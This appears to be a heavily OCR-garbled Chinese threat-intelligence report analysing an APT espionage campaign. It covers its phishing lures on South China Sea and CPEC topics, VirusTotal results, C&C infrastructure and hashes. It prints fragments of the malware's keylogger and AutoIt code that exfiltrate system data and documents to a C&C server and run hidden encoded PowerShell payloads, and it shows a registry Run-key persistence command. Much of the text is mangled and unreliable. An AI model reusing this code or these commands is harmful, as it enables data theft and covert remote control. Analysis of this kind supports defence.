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dec1_decode{"tpojd/by");

dec1_decode{"tpojd2/by");

strcat(&sonic, "tpojdfby™);
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user3d2_addr = LoadLibraryfA{u2});
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RegOpenKeyExA_addr = {(int (_ stdcall =)({_ DWORD, DWORD, DWORD, _DWORD, _DWORD})Gel
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RegQueryValueExA_addr = {int { stdcall =}{ DWORD, DWORD, DWORD, DWORD, DWORD,
uS = decode_dllapi_name{"SFhDmptfLfz");

RegCloseKey = {int { stdcall =){ DWORD})GetProcAddress{hModule, uS);

ufh = decode_dllapi_name{"HFuLfzTubuf");

®#{ DUWORD =)GetKeyState = GetProcAddress{user32_addr, vi);

u? = decode dllapi name{"HFfuBtzodLfzTubuf"}; ;g’,__

result = GetProcAddress{user32_addr, v7); N,,gf

={ DUWORD =)GetAsyncKeyState = result;

return result;
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write sonic{&u10};
sprintF{&us, " %s = %s %s\nwn", "TFttjpotTubsut"™, &ud, &Buf);/f Session Starts
write_sonic{&vg);
if { strstr(&String, “JoufsofutFyqmpsfs™) || strstr{&String, “NHp{jmmb!GjsfGpy") )hl Internet Explorer Hozilla FireFuxI
{ '|D-|u-|m[ﬂ] P

IEnumChildwindows(u1, EnumFunc, (LPARAMYLParam}; I

Tz = 1rardm;

do

ud = *®U2++;
while { v3 });
if ( v2 t= &lParan[1] ) P *

{ ANTIY
sprintf(&uie, "%s = %sinin™, “Usm™, lParam);!

write_sonic{&u10);

4
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if ¢ lojg_num *= 168 )
{
++1log_num;
return CallHextHookEx{hhk, nCode, wParam, 1FParam};
H
vi? = B;
memset{&uig, B8, Bx31u);
ud = &ul6;
do
uly = (u3++)[1];
while { va J;
ui = dword_WBF2Ch;
*{ DUORD =)v3 = dword_48F2CH;
u? = byte 4OF2C8;
*{{ DUDRD =)u3 + 1) = uh;
vi[8] = w7,
dec1_decode{&uv17);
u5 = fopen{&sonic, "r");

if [ vs )

{ Z
fclose(u5); :m E *
vg = fopen{&sonic1, "r"});
if ( tug )

{

MoveFileA{&sonic, &sonic1);
log num = 8;

2-16 IBFRARH
ssmss.exe ZHT:
1. GIEHEMANS: Global\{D91AD7DF91-92E9-9ASFEA3F50CRC254}, FRELIT RN L& HK;
2. {¥H CMD g Iy M2 FE 3 T
reg add HKCU\Software\Microsoft\Windows\Currentversion\run /v WindowsFirewallSecu  rityServ /t
REG_SZ /d "C:\Documents and Settings\*\ X [fi]\ssmss.exe" /f
3. PEHM K sonicl.ax A 4L % URL: ***rtdesk.com/test00.php;
4. [MfEEER, B sonicl.ax.
C&CER:

***rtdesk.com/test00.php ***.91.197.101 /7
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BPEA: Handrew Schwartz, Vice President

BM:  2016FeA1AEHZ 15:20

WEEA edu.cn

EE: China-Southeast Asia Relations:South China Sea,More Tension and Challenges{ Report May 2016)

China-Southeast Asia Relations:
South China Sea,More Tension and Challenges( Report May 2016)

Relations in early 2016 were dominated by China’ s unremitting efforts to expand its control in disputed territory
Sea in the face of complaints maneuvers,and challenges by regional governments and concerned powers hea
States. Heading the list of US-led challenges to Chinese expansion were expanded military presence and free
operations accompanied by strong rhetoric from US defense leaders warning of Chinese ambitions. China rebuk
and pressed ahead with military deployments, construction of defense facilities, and island expansion.

Beijing remained determined to gain greater control in the disputed sea despite earlier indications of moderation, nc
Jinping’ s pledge not to militarize disputed territory made during his September 2015 summit in Washington That he
not spill over and impede the constructive outcome of the US-China meeting on March 31 reinforced indications ¢
Asian governments that neither VWashington nor Beijing sought confrontation. Against that background, the re
governments to Chinese challenges to their interests in the South China Sea remained measured. They followed pa
ambiguous hedging against China’ s assertiveness,demonstrating some increased criticism of China,and greater
more closely with the US in order to dissuade China” s disruptive expansionism......

Will China accede to the decision of the court or the issue will flare up more in the time to come is big question ?

The report have been covered under the following heads

Expanding Chinese control

Relations with ASEAN and concerned regional countries
Economic largess, initiatives amid troubled assessments
Lancang-Mekong Cooperation (LMC) Summit
China-Myanmar relations

Uncertain outlook

Download the complete report v

tp:// Jebuaaausjatajuswn/click. phy
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our  SecDef =
 No, Contr Nr = . Date Document, Subject & Content EQ
5
1 X-0850 20 Feb & Memo from SecDef to the President: Okinawa 35 S
Bases and Forces. Responds to questions asked f:,‘E
at meeting 27 January. Notes that these are JCS|Z 4
answers and that definitive DoD policy will o3
be provided through en NSC study in progress., EU @
Consequently, SecDef comments are not provided, | = & g
Questions answered include size of forces in o Ee%
Okinawa, reason for being there, future needs = D=
for the bases etc. § =290
Attachment: Note to SecDef requesting trans- a :E
mittal from JCS to President and noting 29a
that ISA has not commented yet. %sz
o
2 X~1383 19 Mar 69 Memo from SecDef to Chairman, JCS: Deggadatian SEE’
of nuclear capability in the event of denial of 8,[2 =]
| Hyukyu bases and alternate arra.nge:rents for RS
L nunlaor wrasnan Aanl Avmand . T2adoen ~ - -~
Read the compiete 8 Page TOP Secret document and the report B
< : B
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Based on reports in official media, the People’s Liberation Army (PLA) appears to be
preparing for the official release of its fifth-generation of operational regulations (38
B L fF &8 & % ). The PLA's operational regulations, which are approximately
equivalent o doctrine, provide puidance for the PLA at the campaign ( &% %% ) and
tactical (& A ) levels of warfare, based on two components: campaign guidance (&
f24AF) and combat regulations (&% 355 %), [1] Since the prior announcement of the
PLA’s “new-generation operational regulations™ (Hi —{CfEAEH %) in January 1999,
which were the fourth generation of operational regulations issued during the PLA's
history, there has not been a fifth generation officially released, despite the references
to a revision process that dates back o 2004 (PLA Daily, January 25, 1999). [2]
Although the fifth-generation operational regulations were reportedly finished and
had been submitted to the Cenual Military Commission (CMC) for approval as of
March 2008, their release was never announced (Xighua, March 13, 2008). Indeed,
according to the PLA’s official newspaper, the PLA has only “formally issued four
generations of operational regulations™ [emphasis added] (PLA Dailv, February 16).
Given references to the process, the revision (812 ) of operational regulations has
apparently been either continued through or perhaps restarted in recent years without
an officially announced conclusion, despite the release of a revised Joint Campaign
Guidance (FEARBMERS &R HE) and other regulations in 2008 (e.g., PLA
Daily, July 6, 2014; PLA Daily, March 18, 2009; PLA Daily, October 31, 2012). [3]

In July 2014, the PLA's General Staff Department organized an “all-military research
and discussion activity” that was intended as “preparation for the revision of
operational regulations” (PLA Daily, July 6, 2014). As of February 2016, official PLA
media reported that a new book, Introduction to Operational Regulations (ﬂflﬁﬁ'ﬁ?
R ie), written by the Academy of Military Science (AMS) Operational Theories and
Regulations Research Department ( E R FREFSIELHNESHAEL), had
recently been evaluated and approved by military experts and would serve as a
“cornerstone” for the PLA% revision of its operational regulations (PLA Daily,
February 16). In April 2016, there was further commentary in official PLA media
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Maritimg Tarritarial ang Swchglig namic Zang FEEZ) Dizoutas [moiying Ching

USS Georgs Washingron (July-Novembar 2010}
TU-2 Interoapt (Juns 2011);

INS [Indian Naval Ship] Airavar (July 2011);

INS [Indisn Naval Skhip] Shivalit (June 2012); and
USNS Iupeccadis (July 2013).3¢

e e e e .

Figure 2. Locations of 2001, 2002, and 2009 U.S.-Chinese Incidents at Sea and In
Air

Source: Mark £. Redden and FPailio C. Saunders Mangging Sino-ULS. Air and Noval Interactions: Cold War Lessons and
New Avenues of Approsch, Washingzan, Canter for the Study of Chinese Milizary Afairs. nsotuts for Nasoaz
Strazegic Studies, Nasiond Defenze Universty. Saptamber 2012 Detaid of maz shawn ons. &

3 Spurce: Joz Bazzatr and Pz Padrozo, brisfing for Cemer for Naval Anzlvsis Excesstve Chimese Maritime Claims
Workshop, Auzust 7,2013, slideenddad “Nomble EEZ Incidems withChma,” (skdes 37 and 46 of 47). Rezardinzan
event involving the Jmpecadieseportad © have =kan placein June raderthan July, seeWilkizm Cole, “ChinsseHelp
Plan For Euge War Game Nax Isks,” Eonohlu Star-Adventiser, July 25,2013: 1. S22 3lso Bill Gentz, “Imsidethe
Rinz New Nzwal Eerassmenmin Asis,” July 17,2013 See zlso Depantaentof Defense Press Brisfmz by Adm
Locklear inthe Pentazon Brisfing Room, July 11, 2013, accessad Auzust©, 2013, 3t tp o www defmse sov

) prasp iptid=3270 Asof Sep 26,2014, a video of partof he madantwas posedon
You Tube at hip - www voumbe com warh X =TiveUWOObks.
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The Effects of the China-Pakistan
Economic Corridor on India-Pakistan

Relations

Christian Wagner

The China Pakistan Economic Corridor (CPEC) constitutes one of the largest foreign
investments China bas made in the framework of the “Ope Belt, One Road™ initiative.
The expenditures planned for the coming years in the amount of approximately $4
billion will further intensify relations between China and Pakistan. At the same time,
Pakistan will assume a more prominent role in China's foreign policy. But CPEC also
affects relations between India and Pakistan. The transport corridor between Pakistan
and China traverses Jammu and Kashmir, the status of which has been a subject of con
tention between lndia and Pakistan since 1947. This constellation would scem 10 sug
gesta negative scenario whereby CPEC could place additional strain on India Pakistan
relations. On the other band, a positive scenario is also conceivable, with a settlement
of the Kashmir dispute even becoming possible in the long term.

CPEC plays a key role in China’s foreige
policy. linking infrastructure measures
aimed at establishing a “New Silk Road”
(one road) runeing through Central and
South Asia witk efforts 1o create a "Mari
time Silk Road” (one belt}in the Indian
Ocean. The two routes are to meet io the
Pakistaci port city of Gwadar in the Balo
chistan Province, the development of which
China has been promotiog for many years.
Upon completion, CPEC will form a
network of roads, railways and gas pipe
lines encompassing approximately 3,000
kilometers in length. Around §11 billion
is currently earmarked for infrastructure

measures. The bulk of the funding, how
ever, about $33 billica, is slated for energy
projects, The aim here is to alleviate chronic
energy shortages, stimulate economic
development and establish new industrial
parks

The implementation of the CPEC project
has fueled a series of domestic palitical
debates in Pakistao, loitially, a dispute
arose between the provinces and the politi
cal parties over the road and railway routes
between Gwadar it the country’s southwest
and Chica io the northeast. This dispute
has since given way to geveral agreement
that there should be several routes ben
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File name: 2016_China_Military_PowerReport.pps :Q
Detection ratio: 10/ 53 ‘r 2 O

Analysis date: 2016-07-09 0%:57:31 UTC ( & minutes ago )

= Analysis @, File detail @ Additional information ® Comments o 1 Votes

Antivirus Result Update

Antiy-AVL Trojan[Exploit)/Win32. CVE-2014-4114 20160709
Avast Win32:Autolt-CTZ [Trj] 20160709
ClamaAy Xl=.Dropper.Agent-1404661 20160709

B 3-14 ZS|ERMER
353 Hifth

AR TR LR RIS, A SR T CVE-2015-1761 . CVE-2012-0158 il ,
X AN IR O A #56T %F WORD BEit, XX /N i, By 3 658 s et o, A E BRI T
EAFFRRIFIARES, DRI B S 55 51 206t T 12 5 R I SC A ARG H SR AH X 8 v

3.6 IThEEFEARTBM

MHEHHRIRIREASK R, “ AR A HAERI PE BATAEABOR AT AN, A BON 2 IR {4
ARNEG ML, —F AR R AE S W SRR, 30— &R0 WK A M _E AT (4 RAS
e B A T AR

36.1 EIEER

FERFRZEUT :
IR IR Trojan/Win32.Autolt
JRIG3C A4 sysvolinfo.exe
MD5 A4FB5A6765CB8A30A8393D608C39D9F7
REFEEEZEN X86-32
RN 11,659,903 i
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BinExecute/Microsoft. EXE[:X64]
2016-05-13 07:55:20

WIFES Autolt
CHZ R AL BGEREAT, B2 MR Autolt w51, EEH AR T 97 BSR4

B BT RE AR 55 &, BARKIZhRE LT

1 EMERGHEARER, WHAGRA, J4H, RHEA Chrome, FEAIRAME S5

Spostdata = "ddager=" & Sregstat & "&rl=" & b64encode(@OSVersion) & "&r2=" &
b64encode(@OSArch) & "&r3=" & b64encode(Sp_ver) & "&r4=" & b64encode(Semorhc) & "&r5="
& bb4encode(Scmdout) & "&r6=" & bb64encode(Sadmin)

2. BATEFEAERIThEE, RIETRER SSRGS HAR, FATAREIRIE MRS EERE, wil
FERT EEBOHL A 5

If fexpflg = 1 Then
If $sdata "1
Consoleliri

_privesc("pc 1ell -nop -wind hidden -noni -enc ° #payload
$stat o
If $debug = 1 Then
ConsoleWrite("|
ConsoleWrite("|
EndIf
Return "2"
Elself $sdata "4" Then
Exit
ElseIf $sdata "5" Then
_emorhc(boddecode($payload
ElseIf $sdata "6" Then
_getnewver(bbddecode($payload
Elself $sdata "7" Then
_instcust(béddecode($payload
Elself $sdata "8" Then
_executecmd (b6ddecode($payload

3-154ES$ o

1 HHEAEE, R 1 75 EHER C&C.
2 FIH PowerShell #2480, FFHATIZFEEESZ 1) PowerShell 684, XM IKTE SRS N 2.
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BREL

REBILAKRERIRIEIE

A4 R A $stat PR

B

o4 Chrome WM HHE SIS P 44 ] 0, XERZROSR S4E N 5.

FIF Powershell (T F BB BRRT, HHE4T, AIIESHEA 6.

I Autolt 1 I BCIT TR B AT, JHEIT, AN SHEA 7,

DL T CMD r %, T IR .

3. WCHEHHSIHL A% 2SR SCfE, LU MDS 43T RLS F465] C&C, “ER—fR7 Bl “HR L7 i
B o0 e

*.doc *docx *xls *.ppt *.pps *.pptx F.xlsx *.pdf

SE- Sl *.doc *.docx *.xIs  *.ppt *pptx  *.xlsx  *.pdf *.csv  *.pst *.jpeg

0 N o u b~ W

1 6 ifitﬂ: f Leq
; fllPllhttDal ec(fdx, $type
$fltar_files, $fltar_recur, $fltar_sort, $fltar
_arrayconcatenate(f$docl, $doc2
For %t 1 To UBound($docl 1
_heartbeat(1
ffiles fdocl[$t
$frnm = StringSplit($files, "\"
£f name $fnm[ UBound ( $fnm 1
If StringlsInt($f name 1 Then
Sleep
Elself Stringleft($f name, 1
Sleep
ElseIlf Stringleft($f name, 1
Sleep (500
Else
lupload($files, $f name

3-16 WEESTHR S
B cup.exe 27, FFCUT BB NS EOR A, cup.exe 193 EE ) RE & FIME G5 BRI S

$c up = @ScriptDir )
If FileExists(fc up) Then
Sleep(:
Else
EndIf
$n Run(@C 3 " fc " $c up ' fzipfile " http:// $domain

= fuser, @5criptDir, @SW_HIDE

FileDelete 'ﬂ‘.‘vtphie éEf
FileDelete($fcop e

3-17 @ cup.exe BEGTENHIIC
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3.6.2  ShellCode iEfEiE iR

FEARRZE TR «
WEBR Trojan[Exploit]/Win32. ShellCode
R4 sysvolinfo.exe
MD5 465DE3DB14158005EDEOOOF7COF16EFE
AL IR IR X86
SR/ 10,536,063 1§
SO BinExecute/Microsoft. EXE[:X86]
e TE] % 2016-05-16 13:35:59
S
1| Gz
WPEES Microsoft Visual C# / Basic .NET
FEAAE F Microsoft Visual C#4 1%, Lhft &I ShellCode K SLHLERHEFENR 55 %%, 205 ShellCode F-k
7. HIGRemiE, i HFEA BRI, 8id e de ] DUE B8 SCRRS . BATE R LBt & MSF A2 i
ShellCode H o] LAFR XA Fr By, (A FiXAN ik TilH, HutdATEA RS “ARAL” [FH T MSF

FE KL,

of ot

ExploitShellcodeExeq
internal class Program

e uint RetlArgDelegate(uint address
int IDE

', SetlLastError true

ol Showl

payload(st

private static void Main(string[] args

IntPtr consoleWindow = Program.GetConsoleWindow

3-18 FFIAY shellCode {£7L

FEA MR 55 45U 1 Shellcode 7ETE K FIEE < Ja, = SRS A AT B RAE, YRS IR AT, ¥
RIS RS A, B 3-19 NFEAR IS AT IR :
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TEH WL
— - B3 PR she llcode 4 EERE——— **‘&%f’fﬁ
e R ~T&j 8 — Ff shelicode-

WE;?%Q?E s shelicode

TE-E

shellcode

EEREERES
EkES
S E&mT%E

HilrEs BB EESE

g&?ﬂa: wS, MBS

s, 0 ... 20 | EOEEIRS
g‘”;ﬁgm" B, ARG

mELRE B mERE- i FRIRE

Elfs #3E

B 3-19 HEEEBTHRIE
3.7 C&C 4t

AUAT BT IRIRFEA T B E URL R8T, MR 53 B . IR FEA ) C&C 24K
NBEGRAS I 1P ik, 18] 3-20 Oy “ R AQ” HGUEHIKE 0844 L 1P PE SCAFAT Office SUIF ARSI 4 -

P
o~
ANTIY
D — pr— i —
e e
o
e e s e
s s
s
e e
e
P e e
— —— e
D e [
- P
e e
e
e e ——
— .
D D
e ottt bt . e e
e
e — B
c—
P et e ey —
s
— Domains -
—
e

Wy Office Sample e 1
Wy PE Sample

B 320 “BRZK” FiEA. P, HEAXRE
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ASHEE—REEER ARG S
3.8 [, BEF

381 SB=FHEMHIRS

AT 8 Bor P M R B, A GURGE IR ) 7 SO IE L 2 =7 P R 55 A A, IR SR
GEIR A B T R S AF A IR AR S R RS 2, Bl B il IR 1 AL — @ REE LRt 17 B 2 1P,

Real-X-From: mailreturn@smtp5.ymlpsrvr.net
Mail-X-To: < ssohu.com>ORCPT=r{c822;, 3@sohu.com
Mail-X-Username: (null)
Mail-X-Password: (null)
Date: Thu, 19 May 2016 08:46:06 +0200
J@sohu. com

-

mod.gov.cn>
: =?utf- 8?B?ﬁ)AxHquvemYsumlhOeul+Ukp+UbvedOkuUQ]SDkuk 31m731m73pmLLpooTn?=
=?2utf-8?B?rncoSYahfl S55nSvSYebKeS4eNiniA==2=
Message-ID: <« @ .net>
X-YMLPcode: 4wSu+1201+112123 e Q %
List-Unsubscribe: <http://, .~ -, unsub_ghjubbegsguueuemguesuggmjgee.php>

B 3-21 RIAHHER
382  A=Mug

TEZRIVERER AR, KILZAZIE 7> C&C Hitilfe — L IEH M, 27 Hr AT N, A rREZ
HLAANIR TIREERE, K H O C&C MRS MR EATHIAR S 45 1, PLHOREGRE Sy IP fE 5. [
I I AT 38 2 2 A AV O R I ARG, AN 2 il 2 48 4R .

GET /UAV/ HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; MSOffice 12)

Accept-Encoding: gzip, deflate
Host: www.***gdeals.com

Connection: Keep-Alive

\
Py . —
(‘(é‘f'j oo s i — Categories ~ AboutUs C FAQ's Contact Us
= 0311~ 9955
Lyoness

Online Shopping

= ‘
Q% Delivery At | $ Cost Effective
Door Step Solutions

THE BEST DEALS GUARANTEED

Pakistan's best electronic shop that provides end to end electronic solutions

B 3-22 ATEEHWNREMS,
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BHSREISES

REEIE

IR ARSI T

GET /facilities/welfare2/news HTTP/1.1
Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; MSOffice 12)
Accept-Encoding: gzip, deflate

Host: _

@ =

HOME

1s.net.pk

%3 EDUCATION SYSTEM

Learning with faith

L ~X|lc Education Syst... %

=S INFO@:id NET.PK

Department Login n

&, (051) 11922

ABOUTAIMS  ACADEMIC DEPARTMENTS ~ AIWAN-E-QUR'AN  PHOTO GALLERY  PROSPECTUS EMAG  SITEMAP

NEWSLETTER

i a X

CONTACT US

~

3-23 A EEM N R AV RISE

383 SESMEFREXHEE

FTIA I LT, AR AV AL HIF RN ID 5. “Kanishk”, T8

—ANEALHIA “Kanishka”, X2 — MRS
Empire) R, B8 FE 2 E2 G R BRI

OFXKELINE WRBURE |

Kanishka

From Wikipedia, the free encyclopedia

For other uses, see Kanishka (disambiguation).

Kanishka I (Sanskrit: ®{I&b; Bactrian:
Ka v npx v, Kaneshki; Middle Chinese: il
I fn (Ka-ni-sak-ka > New Chinese:

Jianisejia)), or Kanishka the Great, was the

emperor of the Kushan dynasty in the second
century (c. AD 127 -163). He is famous for
his military, political, and spiritual
achievements. A descendant of Kushan empire
founder Kujula Kadphises, Kanishka came to
rule an empire in Bactria extending from
Turfan in the Tarim Basin to Pataliputra on
the Gangetic plain. The main capital of his
empire was located at Purusapura in
Gandhara, with two other major capitals at

Kapisa and Mathura.

His conquests and patronage of Buddhism

played an important role in the development

Kanishka I

Kushan king

i coin of Kanishka. British

Reign
Predecessor
Successor

Religion

2nd cent

Vima Kadphises
Huvishka

Buddhism

3-24 “Kanishk’j@={E8
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4 BEE

PR “BHR” BIxtH
A “AR—7 A AR AT R ZEREIE RS FE BT TR, WA AR 5 E 50
Wik RE T )R e

B R T AR Y E A A e [ g2 B RR S R o [ (K R TAR H bR, LR

FEB H AR
HHbR =B HE. EE, B0 EARSEE R E b
fa By, Rk A R IR
HRBEEFE fa AR R, & EEAOEM
SR BERE

*doc *.docx *xIs *.ppt
*.doc *.docx *xIs *.ppt

eSSt *pptx  *xlsx  *.pdf *.csv
*pps *.pptx *xlsx *.pdf

*.pst  *.jpeg
PE XU &4 TR v, A
Mo TRES AN ERER . ERARBE, ENHXESR. BUREER, BOvkH

CVE-2014-4114
A WAL CVE-2012-0158

CVE-2015-1761

s UG Py e s Sl VC. VB, DEV C++. Autolt Visual C#. Autolt
R B R A ST HHAE T UPX Ahm5E
HrELBHIE R R
B HRAMABREE 10~16 N\, KFZEAFF A EE B RE ST/ BA
B SR i R € B A R A REIE ™ A 2R
fE EHEER, HEEE RGN EE T RAZITTRIMNSNRIRSEER, XS & i
Z (MEREERARIFA R @B BTy, DERBWLEE R RUTBCRAARA % xR . Bk 4l
UE R BEFE R B AN S B (5 B ARG R R AL, DL B MRBCE 2 AT3h 23O H Y, HfaFlEZ K.

SN AT R, A AF Il SRS Bl A% 4t DDoS FrRE tEAth. XL et e St 7 1 sns = BT Be 0RO
BRI, REHEARFITEREE A R E P E 2 e T AL L m It BAGRATER “ 1
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K7 WA B, SkE SR 5550 & B R S X i P oy, [FIRE 2 A S S e B R XU Ak
M7 HIX ety BOREAL AGA Letilhe, (HAE B M ERE, HAh%.

TR CER” KPR AL, B NI R RE RS, TR 2 AR AL A A
RIEBAN L o DRI ELERE, XAKR — A USRI T, AR TR0 Al B
TEBE A R KA S UG, XA BAT E W R R o wm BE A R, T EL S i e R B Al ) 5 1l
2 g

S APT Btifi, BRI RE . FREMBGERL, X FEREN TR0 APT 2247 Hr FIR T+ T 5
FIIER, AT AL, AR T AR R SCHE R BORRSX e, FRATT6 Z5 S R Lty 2 O 005
RN AR, KX He 2 B A0 D FH P 0 £ 175 0 58 7™ i B ST o 22 4 3 14T A B A 6 % 35 1) 55 B
WEA R AN EE ST,

BEAh, FATEABIEIR,  “HAR” RIWERIEFIEIRN APT Bk 73, (i 2BUrEH i fhin 24 /E
BroRER I B2 TR 2 Ah e SBATVE R, ERAIZERIX — St RATER T REH
LT Yk EE T ARSCEEME, #4404 “The Dropping Elephant” [{4T3h. RERANUEH T AR K4 7, HILF
IRAR 2] “Elephant™, & FRATTXAH ¢ B IR 1 B i 1k

AR B FERRRA S T SCRRAS, A 2 R L — S BRI — R, TRATT I S SO AR A TR
PECIRA . RAETAIAKNIE 2 138 2 P RA TR, ERATESS 385 R 55T v [ i 1 38 21 1) ) 2%
Wb G OL, AE NP E M S 2t ed, RATR “hER M 2 a2 HE” X LML
i I o
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